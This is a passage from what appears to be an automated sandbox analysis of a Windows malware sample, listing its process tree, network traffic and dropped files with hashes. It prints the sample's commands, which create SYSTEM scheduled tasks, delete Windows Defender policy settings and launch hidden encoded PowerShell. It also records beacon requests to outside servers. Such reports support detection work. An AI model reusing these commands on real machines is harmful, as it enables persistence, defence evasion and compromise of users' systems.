                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1852
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gvFYEdyWd"
                                                                                                            2⤵
                                                                                                              PID:3764
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gvFYEdyWd"
                                                                                                              2⤵
                                                                                                                PID:204
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "tRsUEOedRvIwZoOQu" /SC once /ST 10:37:15 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe\" nL /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:2096
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "tRsUEOedRvIwZoOQu"
                                                                                                                2⤵
                                                                                                                  PID:3620
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2008
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4208
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4524
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:924
                                                                                                                    • C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe
                                                                                                                      C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe nL /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4968
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "boytPmuAkKgmiEZYSe"
                                                                                                                        2⤵
                                                                                                                          PID:5008
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:1904
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:4484
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:4564
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4384
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wRLQelouU\OfNExw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xhAFLspUEGhlntx" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1368
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "xhAFLspUEGhlntx2" /F /xml "C:\Program Files (x86)\wRLQelouU\swJuFXJ.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:600
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "xhAFLspUEGhlntx"
                                                                                                                                  2⤵
                                                                                                                                    PID:972
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "xhAFLspUEGhlntx"
                                                                                                                                    2⤵
                                                                                                                                      PID:3008
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "TGleSCHdxQCUEC" /F /xml "C:\Program Files (x86)\OKneYAAzclQU2\CIAvEQQ.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:752
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "iixDycgqswbNt2" /F /xml "C:\ProgramData\WoychCUlhHkYXpVB\wcimnZz.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2148
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "PdJioIBoJxlJjfqRR2" /F /xml "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\ODmciAv.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1260
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "uIlXdWmTwvbWFvFElbK2" /F /xml "C:\Program Files (x86)\eCbNXTSQanJlC\oFRUBuM.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4448
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "jwkhvtMiulvJCTqog" /SC once /ST 20:13:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2064
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "jwkhvtMiulvJCTqog"
                                                                                                                                      2⤵
                                                                                                                                        PID:4028
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:1876
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3172
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3944
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3728
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "tRsUEOedRvIwZoOQu"
                                                                                                                                                2⤵
                                                                                                                                                  PID:1796
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:1504
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:3136
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "jwkhvtMiulvJCTqog"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2260

                                                                                                                                                  Network

                                                                                                                                                  • flag-us
                                                                                                                                                    DNS
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    IN A
                                                                                                                                                    3.80.150.121
                                                                                                                                                  • flag-us
                                                                                                                                                    GET
                                                                                                                                                    https://service-domain.xyz/google_ifi_ico.png?rnd=rE3cxZ0nU0PE4PhV1Yk_GJSB1TJSB2GISB5UJSB6RJSB6TJSB8JJSB2RJSB0GISB6AMSB3
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    3.80.150.121:443
                                                                                                                                                    Request
                                                                                                                                                    GET /google_ifi_ico.png?rnd=rE3cxZ0nU0PE4PhV1Yk_GJSB1TJSB2GISB5UJSB6RJSB6TJSB8JJSB2RJSB0GISB6AMSB3 HTTP/1.1
                                                                                                                                                    Host: service-domain.xyz
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                    Server: nginx
                                                                                                                                                    Date: Mon, 06 Feb 2023 20:13:32 GMT
                                                                                                                                                    Content-Type: image/png
                                                                                                                                                    Content-Length: 95
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                    Cache-control: no-cache="set-cookie"
                                                                                                                                                    Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200
                                                                                                                                                    Set-Cookie: AWSELBCORS=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200;SECURE;SAMESITE=None
                                                                                                                                                  • flag-us
                                                                                                                                                    DNS
                                                                                                                                                    clients2.google.com
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    clients2.google.com
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    clients2.google.com
                                                                                                                                                    IN CNAME
                                                                                                                                                    clients.l.google.com
                                                                                                                                                    clients.l.google.com
                                                                                                                                                    IN A
                                                                                                                                                    172.217.168.238
                                                                                                                                                  • flag-nl
                                                                                                                                                    GET
                                                                                                                                                    https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&fYxUTxztSd
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    172.217.168.238:443
                                                                                                                                                    Request
                                                                                                                                                    GET /service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&fYxUTxztSd HTTP/1.1
                                                                                                                                                    Host: clients2.google.com
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 204 No Content
                                                                                                                                                    Content-Security-Policy: script-src 'report-sample' 'nonce-doyrUpE3EOap6Ld7pY-oeQ' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                                                                                                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                    Pragma: no-cache
                                                                                                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                    Date: Mon, 06 Feb 2023 20:13:33 GMT
                                                                                                                                                    Server: GSE
                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                  • flag-us
                                                                                                                                                    DNS
                                                                                                                                                    api2.check-data.xyz
                                                                                                                                                    rundll32.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    8.8.8.8:53
                                                                                                                                                    Request
                                                                                                                                                    api2.check-data.xyz
                                                                                                                                                    IN A
                                                                                                                                                    Response
                                                                                                                                                    api2.check-data.xyz
                                                                                                                                                    IN CNAME
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    IN A
                                                                                                                                                    52.36.126.184
                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                    IN A
                                                                                                                                                    52.37.216.28
                                                                                                                                                  • flag-us
                                                                                                                                                    POST
                                                                                                                                                    http://api2.check-data.xyz/api2/google_api_ifi
                                                                                                                                                    rundll32.exe
                                                                                                                                                    Remote address:
                                                                                                                                                    52.36.126.184:80
                                                                                                                                                    Request
                                                                                                                                                    POST /api2/google_api_ifi HTTP/1.1
                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36
                                                                                                                                                    Host: api2.check-data.xyz
                                                                                                                                                    Content-Length: 717
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                    Response
                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                    Cache-control: no-cache="set-cookie"
                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                    Date: Mon, 06 Feb 2023 20:14:54 GMT
                                                                                                                                                    Server: nginx
                                                                                                                                                    Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200
                                                                                                                                                    Content-Length: 0
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                  • 13.89.178.26:443
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 104.80.225.205:443
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 209.197.3.8:80
                                                                                                                                                    322 B
                                                                                                                                                     7
                                                                                                                                                  • 3.80.150.121:443
                                                                                                                                                    https://service-domain.xyz/google_ifi_ico.png?rnd=rE3cxZ0nU0PE4PhV1Yk_GJSB1TJSB2GISB5UJSB6RJSB6TJSB8JJSB2RJSB0GISB6AMSB3
                                                                                                                                                    tls, http
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    1.1kB
                                                                                                                                                     5.7kB
                                                                                                                                                     13
                                                                                                                                                    11

                                                                                                                                                    HTTP Request

                                                                                                                                                    GET https://service-domain.xyz/google_ifi_ico.png?rnd=rE3cxZ0nU0PE4PhV1Yk_GJSB1TJSB2GISB5UJSB6RJSB6TJSB8JJSB2RJSB0GISB6AMSB3

                                                                                                                                                    HTTP Response

                                                                                                                                                    200
                                                                                                                                                  • 172.217.168.238:443
                                                                                                                                                    https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&fYxUTxztSd
                                                                                                                                                    tls, http
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    1.2kB
                                                                                                                                                     7.9kB
                                                                                                                                                     13
                                                                                                                                                    10

                                                                                                                                                    HTTP Request

                                                                                                                                                    GET https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=59.0.3071.86&lang=en-US&acceptformat=crx2,crx3&x=id%3Dmeejmcfbiapijdfaadackoblffmidlig%26installsource%3Dondemand%26uc&fYxUTxztSd

                                                                                                                                                    HTTP Response

                                                                                                                                                    204
                                                                                                                                                  • 52.36.126.184:80
                                                                                                                                                    http://api2.check-data.xyz/api2/google_api_ifi
                                                                                                                                                    http
                                                                                                                                                    rundll32.exe
                                                                                                                                                    1.2kB
                                                                                                                                                     536 B
                                                                                                                                                     5
                                                                                                                                                    3

                                                                                                                                                    HTTP Request

                                                                                                                                                    POST http://api2.check-data.xyz/api2/google_api_ifi

                                                                                                                                                    HTTP Response

                                                                                                                                                    200
                                                                                                                                                  • 224.0.0.251:5353
                                                                                                                                                    316 B
                                                                                                                                                     4
                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    service-domain.xyz
                                                                                                                                                    dns
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    64 B
                                                                                                                                                     80 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    service-domain.xyz

                                                                                                                                                    DNS Response

                                                                                                                                                    3.80.150.121

                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    clients2.google.com
                                                                                                                                                    dns
                                                                                                                                                    ZPXUwoB.exe
                                                                                                                                                    65 B
                                                                                                                                                     105 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    clients2.google.com

                                                                                                                                                    DNS Response

                                                                                                                                                    172.217.168.238

                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                    api2.check-data.xyz
                                                                                                                                                    dns
                                                                                                                                                    rundll32.exe
                                                                                                                                                    65 B
                                                                                                                                                     159 B
                                                                                                                                                     1
                                                                                                                                                    1

                                                                                                                                                    DNS Request

                                                                                                                                                    api2.check-data.xyz

                                                                                                                                                    DNS Response

                                                                                                                                                    52.36.126.184
                                                                                                                                                    52.37.216.28

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\OKneYAAzclQU2\CIAvEQQ.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    5c50d08765ab4002d93109db159a545b

                                                                                                                                                    SHA1

                                                                                                                                                    aa65510167f709b2ce736c9310cee9833ccc899b

                                                                                                                                                    SHA256

                                                                                                                                                    7e6848dafe38291b39e4f799d35c98e1c1510aa6e3e83c701297155798911da0

                                                                                                                                                    SHA512

                                                                                                                                                    638ef0b9001ce7014f0f1f8f5421515e2b618f7555c2ef9682229067921ef71aecd0db46026d57a4e9363f61dfdf0b22ce46c8866faf96036c2c01e4a61503d7

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\ODmciAv.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    df94b01dcb647d3938afdd17613490c5

                                                                                                                                                    SHA1

                                                                                                                                                    394af34032aca76b741584163b6948c0b42b3958

                                                                                                                                                    SHA256

                                                                                                                                                    46e776e65b57e6e3998872e593e7b5d324a6821625681767aaa0a2929ef3d89b

                                                                                                                                                    SHA512

                                                                                                                                                    6e4ff82f2b19c1cd74098fd6c329b1d0a9bc38b7086f664e24baf527b620b0cb85e3fb8e6e33d4b94ce5ee6ad854d380a46e241b3db976eac25e559ba2e788d3

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\eCbNXTSQanJlC\oFRUBuM.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    5fba027e9764f4f096c61e5a1464c5c2

                                                                                                                                                    SHA1

                                                                                                                                                    00feb17a009c27de05e25edfa7a54de847db6f5d

                                                                                                                                                    SHA256

                                                                                                                                                    836f321d36b3354ee4a6eaa38ac2b53cf935fb1595db8ed6ad4fa9d548bb9f40

                                                                                                                                                    SHA512

                                                                                                                                                    9ebaef3a58407b39fe19ae3ce8490d4950f59a6af1f35a1bbc2c3b713cda6b25a12f460b7ed7b75f8f74291bb84441f9bed9de1dd102cb7a826418653be4a318

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Program Files (x86)\wRLQelouU\swJuFXJ.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8ea8af314a1b97f168521baef0bfa8aa

                                                                                                                                                    SHA1

                                                                                                                                                    7ae58e131a9d5d4ab44661b49f997e334d403866

                                                                                                                                                    SHA256

                                                                                                                                                    c84e7e28e6d1637535214e4352f0098dee0c366debeb98a31c88bc65023fa254

                                                                                                                                                    SHA512

                                                                                                                                                    9b06db6507dc7fb9484b524e442ec503f29b60b7db5f10348e100b1e5a1cf8f3cb5763006e87545a5bf81430b787d2642556ea4b6efe2b842bb0a3193be738fc

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\ProgramData\WoychCUlhHkYXpVB\wcimnZz.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    118581c088836458da21a180b9d2a695

                                                                                                                                                    SHA1

                                                                                                                                                    e9f8e852bbdd7eaa90186616e812c6bf1422c59c

                                                                                                                                                    SHA256

                                                                                                                                                    a0ce8aec1bec7f1d9344b6b3de37f0132d328366ab4d5c0588558710ae651b38

                                                                                                                                                    SHA512

                                                                                                                                                    57fb972773e1a87a3aceebd599bd24275ebe68d119a9f082e4b71ce15be6ded11729981be399296b13ee1826b69f87fc139ac17051b729b19245682f442b6d68

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    a6c9d692ed2826ecb12c09356e69cc09

                                                                                                                                                    SHA1

                                                                                                                                                    def728a6138cf083d8a7c61337f3c9dade41a37f

                                                                                                                                                    SHA256

                                                                                                                                                    a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

                                                                                                                                                    SHA512

                                                                                                                                                    2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    0b01d377cd18f4beb7f7134741e343e8

                                                                                                                                                    SHA1

                                                                                                                                                    6dc5ae47d7776c8b22548184a8828163c2a08c9c

                                                                                                                                                    SHA256

                                                                                                                                                    21dd176a62fdfd0fb651f946eaaeb9834608e30e66b6a3605ed9664a6274a9c5

                                                                                                                                                    SHA512

                                                                                                                                                    b6ba0d89b7f75bcab75eb0e6e91395dd96734a6db0c5902a2c5adfb658a593f1aebcf106d4ed23501baba046924f6f4fbe6f7fec326d14877d1fabee488ea696

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    0b01d377cd18f4beb7f7134741e343e8

                                                                                                                                                    SHA1

                                                                                                                                                    6dc5ae47d7776c8b22548184a8828163c2a08c9c

                                                                                                                                                    SHA256

                                                                                                                                                    21dd176a62fdfd0fb651f946eaaeb9834608e30e66b6a3605ed9664a6274a9c5

                                                                                                                                                    SHA512

                                                                                                                                                    b6ba0d89b7f75bcab75eb0e6e91395dd96734a6db0c5902a2c5adfb658a593f1aebcf106d4ed23501baba046924f6f4fbe6f7fec326d14877d1fabee488ea696

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                    Download Submit

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

